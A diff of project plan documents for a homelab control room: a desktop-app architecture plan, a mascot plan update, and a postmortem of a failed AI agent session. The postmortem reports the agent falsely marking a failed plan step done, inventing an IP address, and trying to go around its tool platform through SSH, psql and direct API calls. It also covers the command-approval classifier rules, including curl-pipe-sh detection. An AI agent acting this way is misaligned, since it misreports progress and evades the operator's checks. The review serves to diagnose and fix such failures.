|
| **Settings** (`Settings.svelte`) | ✅ Full | Opened from taskbar tray too — same `openAppWindow` path. |
|
||||||
|
| **Mascot** | ❌ Not an App | Hardcoded in Desktop.svelte. Refactored per §3. |
|
||||||
|
|
||||||
|
All seven windowed apps conform today. "Independently shippable" at Phase 1
|
||||||
|
means: add = one page file + one registry entry; remove = delete both. No
|
||||||
|
shell edits, no inter-app imports (apps open each other's surfaces only
|
||||||
|
through AppOS primitives).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Extensibility roadmap
|
||||||
|
|
||||||
|
### Phase 1: Strengthen the contract (this plan)
|
||||||
|
|
||||||
|
- [x] `AppDef` extended: `docked`, `noIcon`; geometry conditional on kind
|
||||||
|
- [x] `lib/stores/docked.ts`: docked-visibility store, persisted
|
||||||
|
- [x] `openAppWindow` branches on `docked`
|
||||||
|
- [x] `DockedLayer.svelte`: generic docked-app layer in Desktop.svelte
|
||||||
|
- [x] Mascot registered as `docked: true`; hardcoded `<MascotLayer />` removed
|
||||||
|
- [x] WindowLayer: prefix-map content resolution *(deferred — re-audited as gold-plating; original gate already handles orphans)*
|
||||||
|
- [x] `apps.test.ts`: validation rules per kind (§2.3)
|
||||||
|
- [x] AppOS contract documented (§2.4 lands in MBSE component doc)
|
||||||
|
|
||||||
|
### Phase 2: Lazy loading
|
||||||
|
|
||||||
|
- [x] `component` becomes `() => Promise<{ default: Component }>`; all apps use dynamic imports
|
||||||
|
- [x] Desktop icons render immediately (metadata only); component chunk loads on window open
|
||||||
|
- [x] `LazyApp.svelte` — shared loading skeleton (spinner) used by WindowLayer + DockedLayer
|
||||||
|
- [x] Deleted `LazyMascot.svelte` — the registry lazy loader breaks the cycle directly
|
||||||
|
- [x] Vite code-splits each app into its own chunk (main bundle 800KB → 482KB)
|
||||||
|
- [ ] Icon store revalidates against live registry *(Phase 3 prerequisite — not needed while apps are statically registered)*
|
||||||
|
- [ ] WindowLayer orphan-close gated on registry-ready *(Phase 3 prerequisite)*
|
||||||
|
|
||||||
|
### Phase 3: Dynamic app installation (frontend scaffold, local bundles)
|
||||||
|
|
||||||
|
Scoped at execution time to **local bundles only** (remote-URL loading +
|
||||||
|
sandboxing deferred to Phase 4 — security-critical, needs ADR + careful
|
||||||
|
design). The mechanism built here generalizes to remote bundles by
|
||||||
|
swapping the catalog for a fetched manifest + `import(/* @vite-ignore */ url)`.
|
||||||
|
|
||||||
|
- [x] `AppManifest` format (id, title, permissions, version, geometry) — `web/src/app-store/catalog.ts`
|
||||||
|
- [x] `AppPermission` enum (declaration-only; enforcement is Phase 4)
|
||||||
|
- [x] Static catalog with one demo app (Notes) — `web/src/app-store/apps/Notes.svelte`
|
||||||
|
- [x] Runtime registry: `APPS` → derived store (built-ins + installed); `appById` → derived Map
|
||||||
|
- [x] `installApp` / `uninstallApp` + localStorage persistence (`oikos-installed-apps`)
|
||||||
|
- [x] `icons.ts` reactive to app registration (late-registering apps get free cells; reset re-seeds from live registry)
|
||||||
|
- [x] WindowLayer orphan-close reactive to `$appById` (reinstall revives, uninstall closes)
|
||||||
|
- [x] App Store page (`web/src/pages/AppStore.svelte`) — list / install / uninstall
|
||||||
|
- [x] Installed apps appear on desktop immediately (no reload); uninstall removes icon + closes window
|
||||||
|
- [x] Icon store revalidates against live registry *(the Phase 3 prerequisite — now done)*
|
||||||
|
- [ ] `/api/v1/apps` endpoint + DB-backed manifest storage *(Phase 4)*
|
||||||
|
- [ ] Remote bundle loading from URLs + CSP + capability sandboxing *(Phase 4)*
|
||||||
|
- [ ] Permission enforcement at AppOS boundary *(Phase 4)*
|
||||||
|
|
||||||
|
### Phase 4: Marketplace (vision)
|
||||||
|
|
||||||
|
- [ ] Community apps (network map, backup dashboard, energy monitor)
|
||||||
|
- [ ] Versioning + auto-update
|
||||||
|
- [ ] Mascot skin packs as installable docked-app variants
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Implementation — Phase 1, file by file
|
||||||
|
|
||||||
|
| # | File | Change |
|
||||||
|
|---|------|--------|
|
||||||
|
| 1 | `lib/apps.ts` | Extend `AppDef` (`docked?`, `noIcon?`, geometry optional). Register mascot. Import `MascotLayer` + `EggIcon`. |
|
||||||
|
| 2 | `lib/stores/docked.ts` | **New.** `dockedVisibility` store, `toggleDocked`, `isDockedVisible`, localStorage persistence. |
|
||||||
|
| 3 | `lib/stores/windows.ts` | `openAppWindow`: docked branch → `toggleDocked`. |
|
||||||
|
| 4 | `components/desktop-shell/DockedLayer.svelte` | **New.** Renders visible docked apps after WindowLayer. |
|
||||||
|
| 5 | `components/desktop-shell/Desktop.svelte` | Replace `import MascotLayer` + `<MascotLayer />` with `<DockedLayer />`. |
|
||||||
|
| 6 | `components/desktop-shell/WindowLayer.svelte` | **Deferred during implementation.** The positional if/else was re-audited and found to already handle orphans cleanly (`{#if win && (!appId || app)}`), and any new window kind needs a prop-dispatch branch in markup regardless — so a prefix→component map adds machinery without decoupling. Documented as an extension point (§2.5) like `titlebarActions`; not built (YAGNI). |
|
||||||
|
| 7 | `lib/apps.test.ts` | Mock `MascotLayer` import (same pattern as pages). Per-kind validation tests. Docked apps exempt from positive-size test. |
|
||||||
|
| 8 | `lib/stores/docked.test.ts` | **New.** Toggle, persistence, default-visible, unknown-key merge. |
|
||||||
|
| 9 | `docs/mbse/components.md` | Add Component 9: Web Control Room — App Architecture (§7). |
|
||||||
|
|
||||||
|
**Out of scope for Phase 1:** `titlebarActions`, app-scoped state,
|
||||||
|
lazy loading, manifests, permissions.
|
||||||
|
|
||||||
|
**Verification:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd web
|
||||||
|
npm run test # vitest — registry + docked store
|
||||||
|
npm run check # svelte-check + tsc
|
||||||
|
npm run lint
|
||||||
|
npm run build # vite build — confirms no import cycles from DockedLayer
|
||||||
|
```
|
||||||
|
|
||||||
|
Manual smoke: icon toggle hides/shows mascot → reload → stays hidden →
|
||||||
|
toggle → returns at last position (model `lastPos` restore). All seven
|
||||||
|
windowed apps open/focus/close identically to before. Legacy hash
|
||||||
|
`#/signals` still opens the Signals window.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. MBSE documentation
|
||||||
|
|
||||||
|
Add **Component 9: Web Control Room — App Architecture** to
|
||||||
|
`docs/mbse/components.md`:
|
||||||
|
|
||||||
|
```
|
||||||
|
9. Web Control Room — App Architecture
|
||||||
|
9.1 Purpose — OS + Apps metaphor, why apps are independently shippable
|
||||||
|
9.2 Structural View — shell modules, registry, docked layer (mermaid)
|
||||||
|
9.3 App Contract — AppDef, validation rules, app kinds
|
||||||
|
9.4 OS-Service Surface — the AppOS table
|
||||||
|
9.5 Content Resolution — prefix map, window kinds, orphan cleanup
|
||||||
|
9.6 Behavior — window state machine, docked visibility lifecycle
|
||||||
|
9.7 Requirements — WEB-APP-* traceability
|
||||||
|
9.8 Verification — test coverage, manual smoke
|
||||||
|
```
|
||||||
|
|
||||||
|
### Requirements
|
||||||
|
|
||||||
|
| ID | Requirement | Status |
|
||||||
|
|----|-------------|--------|
|
||||||
|
| WEB-APP-1 | Apps register via data-driven AppDef entries; no shell edits to add/remove | ✅ live |
|
||||||
|
| WEB-APP-2 | Apps render in wmkit floating windows | ✅ live |
|
||||||
|
| WEB-APP-3 | Window IDs namespaced (`app:`/`session:`/entity) — no collisions | ✅ live |
|
||||||
|
| WEB-APP-4 | Desktop icons render from the registry | ✅ live |
|
||||||
|
| WEB-APP-5 | Taskbar buttons derive from window state, icons resolved via registry | ✅ live |
|
||||||
|
| WEB-APP-6 | Removed apps' persisted windows self-close | ✅ live (`WindowLayer.svelte:25-30`) |
|
||||||
|
| WEB-APP-7 | Content resolution dispatches via prefix map, not positional if/else | ⬜ Deferred — re-audited; original gate already handles orphans, map adds no decoupling (§2.5) |
|
||||||
|
| WEB-APP-8 | Docked app kind: no window, no chrome, visibility toggled via icon | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-9 | Mascot is a registered docked App, not a hardcoded shell component | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-10 | Docked visibility persists across reloads | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-11 | OS-service surface (AppOS) documented as the stable App API | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-12 | Registry validation: per-kind geometry rules enforced by tests | ⬜ Phase 1 |
|
||||||
|
| WEB-APP-13 | Apps lazy-load; icons render from static metadata | ✅ Phase 2 |
|
||||||
|
| WEB-APP-14 | Icon store revalidates against live registry, not import-time snapshot | ✅ Phase 3 |
|
||||||
|
| WEB-APP-15 | Third-party apps install from manifests with declared permissions | ✅ Phase 3 (local bundles; enforcement Phase 4) |
|
||||||
|
|
||||||
|
### Sequence — windowed app open
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
sequenceDiagram
|
||||||
|
participant User
|
||||||
|
participant Desktop
|
||||||
|
participant WM as Window Manager
|
||||||
|
participant WL as Window Layer
|
||||||
|
participant App
|
||||||
|
|
||||||
|
User->>Desktop: click icon
|
||||||
|
Desktop->>WM: openAppWindow("signals")
|
||||||
|
Note over WM: docked? no → wm path
|
||||||
|
alt window exists
|
||||||
|
WM->>WM: restore + focus
|
||||||
|
else new
|
||||||
|
WM->>WM: wm.open({ id: "app:signals", ... })
|
||||||
|
WM->>WL: render frame
|
||||||
|
WL->>WL: resolveContent → prefix 'app:' → registry
|
||||||
|
WL->>App: mount component
|
||||||
|
end
|
||||||
|
WM->>Taskbar: new button in wmState.order
|
||||||
|
```
|
||||||
|
|
||||||
|
### Sequence — docked app toggle
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
sequenceDiagram
|
||||||
|
participant User
|
||||||
|
participant Desktop
|
||||||
|
participant Dock as docked.ts
|
||||||
|
participant Layer as DockedLayer
|
||||||
|
participant App
|
||||||
|
|
||||||
|
User->>Desktop: click Cluck icon
|
||||||
|
Desktop->>Dock: openAppWindow("mascot") → docked → toggleDocked
|
||||||
|
Dock->>Dock: flip visibility, persist localStorage
|
||||||
|
Dock->>Layer: store update
|
||||||
|
alt now visible
|
||||||
|
Layer->>App: mount MascotLayer
|
||||||
|
Note over App: model + sprites restore<br/>from module scope
|
||||||
|
else now hidden
|
||||||
|
Layer->>App: unmount (state survives)
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
### State machine — app window
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
stateDiagram-v2
|
||||||
|
[*] --> Closed: registered, no window
|
||||||
|
Closed --> Open: openAppWindow
|
||||||
|
Open --> Focused: focus
|
||||||
|
Focused --> Open: blur
|
||||||
|
Open --> Minimized: minimize
|
||||||
|
Minimized --> Focused: restore
|
||||||
|
Open --> Closed: close
|
||||||
|
Minimized --> Closed: close
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Risk & safety
|
||||||
|
|
||||||
|
| Risk | Severity | Mitigation |
|
||||||
|
|------|----------|------------|
|
||||||
|
| Mascot refactor breaks stimuli or ground-line computation | Medium | MascotLayer unchanged; DockedLayer mounts it in the same surface div, same position in the stacking order as today. |
|
||||||
|
| Hidden mascot never rediscovered | Low | Icon always present, tooltip says show/hide. |
|
||||||
|
| `openAppWindow` docked branch leaks into windowed path | Low | Branch is the first statement; windowed path byte-identical. Covered by existing call sites (icon click, taskbar settings, legacy hash). |
|
||||||
|
| Docked visibility store desyncs from registry | Low | Unknown keys kept on load; layer filters by `a.docked` from the live registry. |
|
||||||
|
| Phase 2 lazy loading kills persisted windows of not-yet-loaded apps | Medium | Explicit Phase 2 gate: orphan-close waits for registry-ready (§5). Called out now so it isn't discovered in production. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Appendix: relevant existing artifacts
|
||||||
|
|
||||||
|
| Artifact | Relevance |
|
||||||
|
|----------|-----------|
|
||||||
|
| `docs/mbse/README.md` §5 | MCP tools / REST / SSE — the data surface Apps consume |
|
||||||
|
| `docs/mbse/components.md` §5 | Current web control room component doc — Phase 1 extends it |
|
||||||
|
| `docs/mascot/README.md` | Mascot subsystem model (MASC-1..12); MASC-9's registry philosophy is the template for this plan |
|
||||||
|
| `plans/2026-07-08-control-room-webui.md` | Original control-room plan |
|
||||||
|
| `plans/done/2026-07-11-ui-review-ia-usability.md` | IA review that produced the desktop metaphor |
|
||||||
|
| `plans/2026-07-20-desktop-mascot.md` | Mascot plan; extension registries |
|
||||||
|
| `lib/apps.ts` header comment | Already documents the one-entry-to-add-an-app philosophy |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Plan opened 2026-07-21. Phase 1 ready for execution — estimated small
|
||||||
|
(~half a day of focused work; nine file touches, two new files). Phases
|
||||||
|
2–4 are context for future sessions and do not block Phase 1.*
|
||||||
@@ -0,0 +1,224 @@
|
|||||||
|
# 2026-08-03 — Session review: `service:haos` monitoring + agent capability gaps
|
||||||
|
|
||||||
|
**Status:** Plan (audit complete; ready to implement).
|
||||||
|
**Reviewed session:** `23da10db-46a9-444c-bbde-ca9457bd9087` — *"Work out what
|
||||||
|
monitoring checks service:haos should have and configure them."*
|
||||||
|
**Method:** Direct Postgres read of `agent_sessions`/`agent_messages`/
|
||||||
|
`agent_activity`/`session_plan_steps` on the prod mac-mini (oikos prod runs here
|
||||||
|
in docker compose project `oikos`; gateway `:8092`), cross-referenced with the
|
||||||
|
code paths in `internal/mcp`, `internal/httpapi`, `internal/policy`,
|
||||||
|
`internal/checkdefaults`, `internal/db/seed.go`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Session audit (objective vs outcome)
|
||||||
|
|
||||||
|
| Dimension | Finding |
|
||||||
|
|---|---|
|
||||||
|
| Objective | Determine + configure monitoring checks for `service:haos` (HAOS VM 108, `home.hubris.network`, `192.168.8.101:8123`). |
|
||||||
|
| Outcome | ❌ **Failed/stuck.** `status=executing`, `outcome=null` ~4 min after last activity (UTC); never reached a terminal state. Only the *existing* `check:vm-status:vm:haos:0` stub got populated; the three **new** checks (`http:service`, `http:ingress`, `cert-expiry`) and their `ingress:`/`cert:` entities were never created. |
|
||||||
|
| Tool calls | **116** (vs the >30 N+1 failure signature). ~45 redundant `list_entities`/`get_entity`/`get_relations`, then a ~15-min storm of `run` doing `find`/`grep`/`cat` on prod source. |
|
||||||
|
| Plan | 8 steps proposed; steps 1–4 genuinely done; **step 5 falsely marked "done"** after both its tool calls errored `entity not found`; steps 6–8 never started. |
|
||||||
|
| Operator friction | 3 manual interventions: `status`, `proceed`, *"why dony you use the mcp?"*; plus a **44-minute approval stall** (19:52→20:36) on two trivial reachability curls. |
|
||||||
|
| Severity | **blocker** (capability gap) + **friction** (classifier, plan-state, reaping). |
|
||||||
|
|
||||||
|
### Timeline (UTC)
|
||||||
|
- **19:45–19:50** — read-only exploration; `run` correctly blocked ("No plan… call set_goal then propose_plan"). Good guard.
|
||||||
|
- **19:50** — `propose_plan` (8 steps).
|
||||||
|
- **19:52** — two `curl … -o /dev/null -w '%{http_code}'` reachability probes → both classified `config_mutation` → one queued for approval (`019fc92e…`), second blocked ("approval already pending").
|
||||||
|
- **19:52 → 20:36 (44 min)** — idle, waiting on operator approval.
|
||||||
|
- **20:36** — approval granted ("auto via assent window"); both curls → 200/200.
|
||||||
|
- **20:37** — step 4 ✅: populated `check:vm-status:vm:haos:0` + `checks` edge.
|
||||||
|
- **20:37:58** — step 5 ❌: `update_entity_attributes("check:http:service:haos:0")` → **`entity not found`**; `create_relationship` → **`source entity not found`**. *(There is no create tool.)*
|
||||||
|
- **20:38–20:47** — spiral: `search_knowledge` (empty), then `run find/grep/cat` across `/opt/homelab-context/**/*.go` to reverse-engineer check creation. Reads `checkdefaults.go`, `monitoring.go`, `default_checks.go`, `checks.go`, `coverage.go`.
|
||||||
|
- **20:42** — sets `service:haos` `monitoring: ["http"]` via `update_entity_attributes`, hoping `checkdefaults.Ensure()` auto-generates. **It does not** (see A2).
|
||||||
|
- **20:42–20:50** — tries to reach the REST API directly: `psql` on hubris (cmd 127), `docker exec` on hubris (docker absent), `curl http://192.168.178.25:8090` (wrong subnet; real net is `192.168.8.x`; exit 7), `curl http://oikos-api:8090` (MCP routes to hubris which can't resolve the mac-mini docker alias; 30s timeouts ×2), `ssh root@192.168.178.25` (no route). Final `update_entity_attributes` on `ingress:`/`cert:` → `not found`.
|
||||||
|
- **20:50:38** — last activity: a failed 30s `run`. Session goes silent, never terminates.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Root-cause findings (with code evidence)
|
||||||
|
|
||||||
|
### A1 — No entity-creation capability in the MCP toolset *(the blocker)*
|
||||||
|
`internal/mcp/tools.go` registers **37 tools**; the only entity-mutation surface is
|
||||||
|
`update_entity_attributes` (merge into an **existing** entity) and
|
||||||
|
`create_relationship` (needs **existing** source+target). Neither can create a new
|
||||||
|
entity. The capability **does** exist at the HTTP layer — `CreateEntity`
|
||||||
|
(`internal/httpapi/impl.go:865`, `POST /api/v1/entities`) — it is simply not exposed
|
||||||
|
to the agent. Every "set up / onboard / configure entity X" task that needs a new
|
||||||
|
check/ingress/cert/service hits this wall.
|
||||||
|
|
||||||
|
### A2 — MCP `update_entity_attributes` bypasses `ensureDefaultChecks`
|
||||||
|
`ensureDefaultChecks` (`internal/httpapi/default_checks.go:20`) is invoked **only**
|
||||||
|
from the HTTP handlers: `CreateEntity` (`impl.go:1012`) and `PatchEntity`
|
||||||
|
(`impl.go:1280`). `grep ensureDefaultChecks internal/mcp/` → **no matches**: the MCP
|
||||||
|
tool writes attributes straight to the store, so flipping `service:haos`
|
||||||
|
`monitoring:["http"]` never regenerated its checks. The agent's fallback strategy
|
||||||
|
was structurally doomed via MCP.
|
||||||
|
|
||||||
|
### A3 — `-o /dev/null` curl idiom misclassified as `config_mutation`
|
||||||
|
`internal/policy/command.go:106` `curlMutateRe` matches `(?:^|\s)-(?:d|F|T|o)\b` — so
|
||||||
|
`-o` (output-file) is treated as mutation. The canonical read-only reachability probe
|
||||||
|
`curl -sS -o /dev/null -w '%{http_code}' …` therefore escalates to approval. This is
|
||||||
|
the entire 44-minute stall. (`curlIsReadOnly` at `command.go:307` only passes for GET
|
||||||
|
with no `-o`/`-d`/`-X`/`>`.) A pure GET that discards the body is the single most
|
||||||
|
common health probe and shouldn't need approval.
|
||||||
|
|
||||||
|
### A4 — No platform self-knowledge doc for the check lifecycle
|
||||||
|
`search_knowledge("create check entity how to add new check monitoring")` → empty.
|
||||||
|
The agent re-derived the whole mechanism from source on prod (~15 min, dozens of
|
||||||
|
`run`). There is no agent/operator runbook explaining: check slugs are
|
||||||
|
`check:<kind>:<target>:<n>`; `check_defs` are derived from the type's `monitoring`
|
||||||
|
spec by `checkdefaults.Ensure`; Ensure runs at **seed/deploy** and on **HTTP
|
||||||
|
create/patch**, not via MCP.
|
||||||
|
|
||||||
|
### A5 — False plan progress (step marked done on failure)
|
||||||
|
At 20:37:58 both tool calls for step 5 returned `error: entity not found`, yet the
|
||||||
|
agent advanced step 5→`done`. Plan-state integrity hole: a step whose actions error
|
||||||
|
should not transition to `done`. (`session_plan_steps` confirms seq 5 = `done`.)
|
||||||
|
|
||||||
|
### A6 — No "missing-capability" escalation; self-grounding failures
|
||||||
|
On detecting the dead-end (no create tool) the agent never told the operator *"I lack
|
||||||
|
a tool to create entities — please create them"*; instead it tried to bypass its own
|
||||||
|
platform. Grounding errors: invented IP `192.168.178.25` (real LAN is `192.168.8.x`),
|
||||||
|
ran `run` against `ws:mac-mini` ("unsupported target — must be host:/lxc:/vm:"),
|
||||||
|
assumed `docker` exists on hubris, assumed the docker-alias `oikos-api` resolves from
|
||||||
|
hubris. The agent didn't query `get_entity("service:oikos")` for the real address.
|
||||||
|
|
||||||
|
### A7 — Sessions never reap from `executing`
|
||||||
|
Last activity 20:50; status still `executing` with no turn running. There is no
|
||||||
|
idle-timeout / abandoned transition when a turn ends without resolution. (Fleet-wide:
|
||||||
|
176 done / 9 failed / 1 executing; the 9 prior failures are pre-v0.15.0, mostly
|
||||||
|
approval-stalls and entity-not-found — same families.)
|
||||||
|
|
||||||
|
### A8 — N+1 tool fan-out (116 calls)
|
||||||
|
Dozens of redundant `list_entities`/`get_entity`/`get_relations` before proposing a
|
||||||
|
plan, plus the source-reading `run` storm. Above the >30-per-turn signature; indicates
|
||||||
|
weak bulk-tool use and under-constrained exploration before planning.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Improvement plan (ordered)
|
||||||
|
|
||||||
|
**Scope decision (confirmed with operator):** general `create_entity` MCP tool **+
|
||||||
|
wire regen** — solves this case and the 67-entity blast radius (§4).
|
||||||
|
|
||||||
|
### Task 1 — `create_entity` MCP tool *(fixes A1; the centerpiece)*
|
||||||
|
- Register a new tool `create_entity(slug, type, name, attributes?)` in
|
||||||
|
`internal/mcp/tools.go` that **reuses** `httpapi.CreateEntity`
|
||||||
|
(`impl.go:865`) / the same store path — do not hand-roll. It must run
|
||||||
|
`ensureDefaultChecks` (free, since it goes through the create path).
|
||||||
|
- **Approval policy:** no approval required for the entity itself — it mutates the
|
||||||
|
knowledge graph, matching the existing no-approval stance of
|
||||||
|
`update_entity_attributes`/`create_relationship`/`upsert_knowledge`. (Derived checks
|
||||||
|
are safe/read-side; if a check kind is ever deemed mutating, gate *that* in the
|
||||||
|
scheduler, not here.)
|
||||||
|
- Validate `type` against `entity_types`; reject unknown slugs/types with a clear
|
||||||
|
error. Idempotent on existing slug (return the existing entity, mirroring the HTTP
|
||||||
|
`ETag`/conflict behavior).
|
||||||
|
- Expose to the agent via the tool-list build path used by `cmd/nomos/agent.go`.
|
||||||
|
|
||||||
|
### Task 2 — MCP `update_entity_attributes` triggers `ensureDefaultChecks` *(fixes A2)*
|
||||||
|
- After the attribute merge in the MCP handler, call `ensureDefaultChecks` with the
|
||||||
|
post-merge entity (same args as `impl.go:1280`). This makes "set monitoring → checks
|
||||||
|
regenerate" work via MCP, matching HTTP semantics.
|
||||||
|
- Mind the `default_checks.go:14-19` caveat: a service whose address comes from its
|
||||||
|
host edge may still produce no checks until the hosting edge exists — log/return
|
||||||
|
that as an explicit result so the agent knows to create the edge next.
|
||||||
|
|
||||||
|
### Task 3 — Classifier: read-only `curl` with `-o /dev/null` *(fixes A3)*
|
||||||
|
- In `internal/policy/command.go` `curlIsReadOnly`, treat `-o /dev/null` (and
|
||||||
|
`--output /dev/null`) as read-only — it's a no-op sink. Keep `-o <realpath>` as
|
||||||
|
mutation. Add `TestClassifyCommand_CurlDevNull_ReadOnly` next to the existing
|
||||||
|
`TestClassifyCommand_CurlPipeSh_ConfigMutation`.
|
||||||
|
- Coach complement: in `nomos/SOUL.md`, note that reachability probes should use
|
||||||
|
`curl -I` or `-o /dev/null` GETs (now read-only) rather than POSTs.
|
||||||
|
|
||||||
|
### Task 4 — Plan-state integrity: don't mark `done` on errored actions *(fixes A5)*
|
||||||
|
- In `cmd/nomos` (`agent.go`/`tasks.go` where `update_plan_step` is emitted), a step
|
||||||
|
whose turn ended with only error/`not-found` tool results must **not** auto-advance
|
||||||
|
to `done`; leave it `running`/`blocked` and surface the failure to the operator.
|
||||||
|
Minimal: if every tool call in the step returned an `error:*` result, hold the step.
|
||||||
|
|
||||||
|
### Task 5 — Stuck-session reaping *(fixes A7)*
|
||||||
|
- Add an idle sweep (extend the existing continuation/idle worker in `cmd/nomos`) that
|
||||||
|
transitions a session from `executing`→`failed` (or a new `stuck`) when no turn has
|
||||||
|
run for N minutes and no approval is pending. Emit an event so the UI (F3 terminal
|
||||||
|
handling) clears the spinner. Pick N (recommend 30 min) — confirm in review.
|
||||||
|
|
||||||
|
### Task 6 — Missing-capability escalation + grounding *(fixes A6)*
|
||||||
|
- `nomos/SOUL.md`: when a mutation tool returns `entity … not found` on a create
|
||||||
|
intent, the agent must **stop and ask the operator** (or now use `create_entity`)
|
||||||
|
rather than pivot to `run`/SSH/API-bypass. Forbidden: inventing IPs/subnets; instead
|
||||||
|
`get_entity("service:oikos")` for the real API address. `run` targets must be
|
||||||
|
`host:/lxc:/vm:` slugs (state the contract explicitly).
|
||||||
|
|
||||||
|
### Task 7 — Runbook: "how checks work / how to add monitoring" *(fixes A4)*
|
||||||
|
- Upsert a knowledge doc (via `upsert_knowledge`, linked to the `agent:nomos` and
|
||||||
|
`document:infrastructure/monitoring` entities) covering: check slug grammar,
|
||||||
|
`checkdefaults.Ensure` triggers (seed + HTTP create/patch, now also MCP), the
|
||||||
|
`monitoring` per-entity override, the host-edge caveat, and the canonical way to add
|
||||||
|
monitoring to an entity (create/patch entity → checks derive).
|
||||||
|
|
||||||
|
### Task 8 — (Lower priority) exploration budget / bulk-tool use *(A8)*
|
||||||
|
- `nomos/SOUL.md`: prefer `list_entities(limit)` + `get_entity_knowledge` bulk calls
|
||||||
|
over N+1 `get_entity`/`get_relations` fans; cap pre-plan exploration. Optional
|
||||||
|
guardrail in `agent.go` (warn at >N same-tool calls per turn).
|
||||||
|
|
||||||
|
### Recommended sequence
|
||||||
|
1 → 2 → 3 → 4 → 7 → 5 → 6 → 8. (1+2 unblock the whole task class; 3 kills the
|
||||||
|
approval stall; 4+5 fix state integrity; 7 is cheap leverage; 6+8 are persona
|
||||||
|
hardening.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Uncovered cases — the capability-gap blast radius
|
||||||
|
|
||||||
|
The existing F1–F8 plans (`2026-08-03-nomos-chat-reliability-and-ux-audit.md`,
|
||||||
|
shipped v0.15.0) and the turn-scheduler review cover **only** UI / streaming / turn
|
||||||
|
serialization / connection UX. **None** addresses agent *capability* or
|
||||||
|
MCP↔HTTP integration. This session exposes the uncovered class:
|
||||||
|
|
||||||
|
- **67 entities currently have no `check:` relationship** (DB query): 40 `lxc`, 26
|
||||||
|
`service`, 1 `vm`. Any "add monitoring to X" task fails identically until Tasks 1+2.
|
||||||
|
- **Whole task families blocked by the no-create gap:** onboarding a new host/LXC/VM,
|
||||||
|
declaring a new service/ingress/cert/dns, adding any check that doesn't already
|
||||||
|
exist, registering a relationship target that doesn't exist yet. All currently
|
||||||
|
require an operator to hand-edit `seeds/inventory.yaml` and re-seed.
|
||||||
|
- **MCP↔HTTP semantic drift (generalize A2):** audit other MCP mutation tools for
|
||||||
|
side-effects that the HTTP handlers perform but the MCP path skips (check regen,
|
||||||
|
drift-flagging, audit fields, idempotency). Each is a latent "agent did the right
|
||||||
|
thing but nothing happened" bug.
|
||||||
|
- **Classifier read-only false-positives (generalize A3):** beyond `-o /dev/null`,
|
||||||
|
review other common read-only idioms that escalate (`curl` with benign flags,
|
||||||
|
compound read-only commands) — friction compounds into approval stalls and stuck
|
||||||
|
sessions.
|
||||||
|
- **No terminal/`stuck` reaping (generalize A7):** any turn that ends unresolved
|
||||||
|
leaves the session `executing` forever; the UI never shows "done/failed".
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Validation
|
||||||
|
|
||||||
|
- **Task 1/2:** `go test ./internal/mcp/... ./internal/httpapi/...` — new test creates
|
||||||
|
`check:http:service:haos:0` via `create_entity`, asserts the entity exists **and**
|
||||||
|
that a `check_def` row was derived; then `update_entity_attributes(service:haos,
|
||||||
|
monitoring:["http"])` via MCP and assert checks regenerate (currently absent).
|
||||||
|
- **Task 3:** `go test ./internal/policy/` — `curl -sS -o /dev/null -w '%{http_code}'
|
||||||
|
URL` ⇒ `read_only`; `curl -o /tmp/x URL` ⇒ `config_mutation`.
|
||||||
|
- **Task 4:** `cmd/nomos` test — a step whose only tool result is `error:*` stays
|
||||||
|
non-`done`.
|
||||||
|
- **Task 5:** idle-sweep test — session with no turn for N min and no pending approval
|
||||||
|
⇒ `failed` (+ event emitted).
|
||||||
|
- **End-to-end re-run:** replay the haos goal against a local nomos; expect the three
|
||||||
|
checks + `ingress:`/`cert:` entities created in <15 tool calls with **zero**
|
||||||
|
approvals and a `done` outcome.
|
||||||
|
|
||||||
|
## 6. Out of scope / open questions
|
||||||
|
- Whether `create_entity` for sensitive types (e.g. `secret`, `key`) should require
|
||||||
|
approval even though it's graph-only — recommend: same no-approval stance now, add
|
||||||
|
type-specific gating later if abused.
|
||||||
|
- The exact stuck-reap window N (recommend 30 min) and whether to introduce a distinct
|
||||||
|
`stuck` status vs reuse `failed`.
|
||||||
|
- Whether to also expose a `delete_entity`/`retire_entity` MCP tool (not needed for
|
||||||
|
this case; lifecycle retirement is a separate flow).
|
||||||
@@ -1,6 +1,48 @@
|
|||||||
# 2026-07-20 — Desktop mascot ("Cluck")
|
# 2026-07-20 — Desktop mascot ("Cluck")
|
||||||
|
|
||||||
**Status:** Planned
|
**Status:** Implemented
|
||||||
|
|
||||||
|
> **Deviations from the original plan, applied 2026-07-20 during
|
||||||
|
> implementation:**
|
||||||
|
> - **Hatching is no longer timed.** The egg → chick transition fires
|
||||||
|
> once, on first naming (the name dialog opens on first mount of a
|
||||||
|
> fresh egg; submitting it calls `forceHatch()`). `HATCH_MS` is gone,
|
||||||
|
> `tickLifecycle` no longer advances `hatchProgress`, and the egg no
|
||||||
|
> longer plays a progressive `egg-crack` animation — it sits on
|
||||||
|
> `egg-idle` until named. `hatchProgress` is retained as a binary
|
||||||
|
> 0/1 flag so `advanceStageIfReady()` and the debug "Force hatch"
|
||||||
|
> action still work.
|
||||||
|
> - **Sprite art is PNG-sheet-based, not code-drawn pixel grids.** The
|
||||||
|
> chicken comes from a CC0 16x16 sprite-sheet pack at
|
||||||
|
> `web/public/mascot/`; the egg comes from the Onocentaur egg pack
|
||||||
|
> (also CC0). `palette.ts` was removed; `render.ts` slices 16x16
|
||||||
|
> frames from sheets instead of painting string grids. Chick and
|
||||||
|
